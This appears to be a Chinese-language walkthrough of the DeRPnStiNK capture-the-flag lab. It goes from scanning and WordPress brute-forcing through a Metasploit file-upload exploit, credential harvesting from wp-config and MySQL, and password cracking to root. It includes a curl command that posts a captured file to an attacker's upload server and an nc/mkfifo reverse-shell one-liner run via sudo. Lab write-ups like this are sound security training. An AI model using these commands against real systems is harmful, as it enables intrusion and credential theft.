端口
nmap主机发现
nmap -sn 192.168.159.120/24
Nmap scan report for 192.168.159.120
Host is up (0.00020s latency).
120是新出现的机器，他就是靶机
nmap端口扫描
nmap -Pn 192.168.159.120 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
发现开放3个端口
nmap -sT -sC -sV -O -p21,22,80 -oA nmap/scan 192.168.159.120详细端口扫描：
-sT：完整tcp连接
-sC：默认脚本扫描
-sV：服务版本探测
-O：系统信息探测
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 124ef86e7b6cc6d87cd82977d10beb72 (DSA)
| 2048 72c51c5f817bdd1afb2e5967fea6912f (RSA)
| 256 06770f4b960a3a2c3bf08c2b57b597bc (ECDSA)
|_ 256 28e8ed7c607f196ce3247931caab5d2d (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: DeRPnStiNK
| http-robots.txt: 2 disallowed entries
|_/php/ /temporary/
分析：
21 ftp端口开放
80 web端口开放
22 ssh端口开放
21端口匿名登录不上去
看80端口，主页面只有两张图片，我们看源代码页面：
敏感信息1：<script type="text/info" src="/webnotes/info.txt"></script>
敏感信息2：注释<--flag1(52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166) -->
立足
/webnotes/info.txt：
<-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live -->
/webnotes：
[stinky@DeRPnStiNK /var/www/html ]$ whois derpnstink.local
Domain Name: derpnstink.local
Registry Domain ID: 2125161577_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.fakehosting.com
Registrar URL: http://www.fakehosting.com
Updated Date: 2017-11-12T16:13:16Z
Creation Date: 2017-11-12T16:13:16Z
Registry Expiry Date: 2017-11-12T16:13:16Z
Registrar: fakehosting, LLC
Registrar IANA ID: 1337
Registrar Abuse Contact Email: stinky@derpnstink.local
Registrar Abuse Contact Phone:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
综合以上信息：
我们需要给ip绑定一个host头derpnstink.local，以便于后续正常访问服务
vim /etc/hosts
192.168.159.120 derpnstink.local
目录扫描
gobuster dir -u http://derpnstink.local/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash
发现：
/weblog/ (Status: 200) [Size: 15172]
再扫一遍weblog目录，
gobuster dir -u http://derpnstink.local/weblog -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash
：
/.html/ (Status: 403) [Size: 296]
/.php/ (Status: 403) [Size: 295]
/index.php/ (Status: 301) [Size: 0] [--> http://derpnstink.local/weblog/]
/wp-content/ (Status: 200) [Size: 0]
/wp-login.php/ (Status: 200) [Size: 2796]
/wp-includes/ (Status: 403) [Size: 302]
/wp-admin/ (Status: 302) [Size: 0] [--> http://derpnstink.local/weblog/wp-login.php?redirect_to=http%3A%2F%2Fderpnstink.local%2Fweblog%2Fwp-admin%2F&reauth=1]
/xmlrpc.php/ (Status: 405) [Size: 42]
/.php/ (Status: 403) [Size: 295]
/.html/ (Status: 403) [Size: 296]
/wp-signup.php/ (Status: 302) [Size: 0] [--> http://derpnstink.local/weblog/wp-login.php?action=register]
显然是个博客，貌似还是wordpress，我的插件检测到了这就是wordpress，版本是4.6.29
wpscan扫描
wpscan扫描一下：
wpscan --url http://derpnstink.local/weblog/ --api-token BQt8Nu27fqP76gJ44k9M5Z5AOuwQcc40k4YBs6lAUMY --disable-tls-checks
扫出了一个任意文件上传漏洞，其他的都是csrf或xss的跨站攻击
Title: Slideshow Gallery < 1.4.7 - Arbitrary File Upload
这个漏洞我试了半天，当尝试msf利用此漏洞时，才发现他是需要验证的文件上传漏洞（Authenticated Arbitrary File Upload），也就是我们需要一个用户才能利用此漏洞
hydra爆破用户和密码
我们使用hydra爆破wordpress有哪些用户：
hydra -p 123 -L /usr/share/wordlists/SecLists-master/Usernames/top-usernames-shortlist.txt derpnstink.local http-post-form "/weblog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fderpnstink.local%2Fweblog%2Fwp-admin%2F&testcookie=1:Invalid"
解释一下：http-post-form表单数据是我提前用burp抓下来的，其中log=^USER^&pwd=^PASS^，分别是用户名密码及其占位符
Invalid表示回显中有“Invalid”字符串的结果不是我们想要的
抓到一个用户admin
我们使用hydra爆破admin的密码：
hydra -P /usr/share/wordlists/SecLists-master/Passwords/darkweb2017-top10000.txt -l admin derpnstink.local http-post-form "/weblog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fderpnstink.local%2Fweblog%2Fwp-admin%2F&testcookie=1:incorrect|empty"
成功爆破：
[80][http-post-form] host: derpnstink.local login: admin password: admin
验证的文件上传漏洞利用（CVE-2014-5460）
https://nvd.nist.gov/vuln/detail/CVE-2014-5460
search slideshow
结果：
1 exploit/unix/webapp/wp_slideshowgallery_upload 2014-08-28 excellent Yes Wordpress SlideShow Gallery Authenticated File Upload
use 1
option这样设置：
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port]
[...]
RHOSTS derpnstink.local yes The target host(s), see https://github.com/rapid7/metas
ploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /weblog yes The base path to the wordpress application
VHOST no HTTP server virtual host
WP_PASSWORD admin yes Valid password for the provided username
WP_USER admin yes A valid username
run 一下直接getshell ： www-data
提权
信息枚举
还是之前配置错误信息收集，没什么敏感的，接下来尝试敏感文件收集
find /var/www -name *conf* 2>/dev/null
/var/www/html/weblog/wp-config.php
/var/www/html/weblog/wp-includes/images/smilies/icon_confused.gif
/var/www/html/weblog/wp-content/plugins/akismet/views/config.php
/var/www/html/weblog/wp-config-sample.php
/var/www/html/weblog/wp-admin/setup-config.php
cat /var/www/html/weblog/wp-config.php 获取到数据库登录用户密码
define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'mysql');
mysql登录后一顿查，最后翻出来了：
+------------------+-------------------------------------------+
| User | Password |
+------------------+-------------------------------------------+
| root | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| debian-sys-maint | *B95758C76129F85E0D68CF79F38B66F156804E93 |
| unclestinky | *9B776AFB479B31E8047026F1185E952DD1E530CB |
| phpmyadmin | *4ACFE3202A5FF5CF467898FC58AAB1D615029441 |
+------------------+-------------------------------------------+
unclestinky $P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41
admin $P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/
cat /etc/passwd：看到unclestinky对应的用户是stinky
破解$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41:wedgie57
su切换一下用户，成功了
cat flag.txt
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)
我擦，flag2没找到直接到flag3了，算了等root后再说（虽然root后就懒得找了）
简单配置错误信息枚举后，没有可利用配置错误提权，直接收集下敏感信息
/home/stinky/Documents下有：
-rw-r--r-- 1 root root 4391468 Nov 13 2017 derpissues.pcap
pcap是抓的数据包
是root创建的，非常可疑，直接考下来wireshark分析
推荐一个很吊的脚本getfile.py，用于获取靶机上的文件
import http.server
import os
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
# 保存上传的文件
with open("uploaded_file", 'wb') as f:
f.write(post_data)
# 返回成功响应
self.send_response(200)
self.end_headers()
self.wfile.write(b'File uploaded successfully.')
if __name__ == "__main__":
PORT = 8000
server_address = ("", PORT)
httpd = http.server.HTTPServer(server_address, SimpleHTTPRequestHandler)
print(f"Serving on port {PORT}")
httpd.serve_forever()
攻击机器：python getfile.py后
直接再靶机上：curl -X POST --data-binary @./derpissues.pcap http://192.168.159.47:8000/
是不是非常方便，用不着scp那么麻烦，而且需要用户身份验证
简单分析获取mrderp用户密码
登录后，sudo -l看一下
Matching Defaults entries for mrderp on DeRPnStiNK:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mrderp may run the following commands on DeRPnStiNK:
(ALL) /home/mrderp/binaries/derpy*
直接：echo "mkfifo /tmp/f;nc 192.168.159.47 1234 0</tmp/f|/bin/sh > /tmp/f 2>&1;rm /tmp/f" > /home/mrderp/binaries/derpy.sh
然后：
攻击机器：nc -nvlp 1234
靶机：sudo /home/mrderp/binaries/derpy.sh
获取到root权限
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)
补：flag2
flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)
使用unclestinky用户登录wordpress后台管理页面，在Dashboard中看到
之前查数据库时候
+------------------+-------------------------------------------+
| User | Password |
+------------------+-------------------------------------------+
| root | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| root | *E74858DB86EBA20BC33D0AECAE8A8108C56B17FA |
| debian-sys-maint | *B95758C76129F85E0D68CF79F38B66F156804E93 |
| unclestinky | *9B776AFB479B31E8047026F1185E952DD1E530CB | <===========用来登录 wordpress
| phpmyadmin | *4ACFE3202A5FF5CF467898FC58AAB1D615029441 |
+------------------+-------------------------------------------+
unclestinky $P$BW6NTkFvboVVCHU2R9qmNai1WfHSC41 <======= 用来登录ssh
admin $P$BgnU3VLAv.RWd3rdrkfVIuQr6mFvpd/
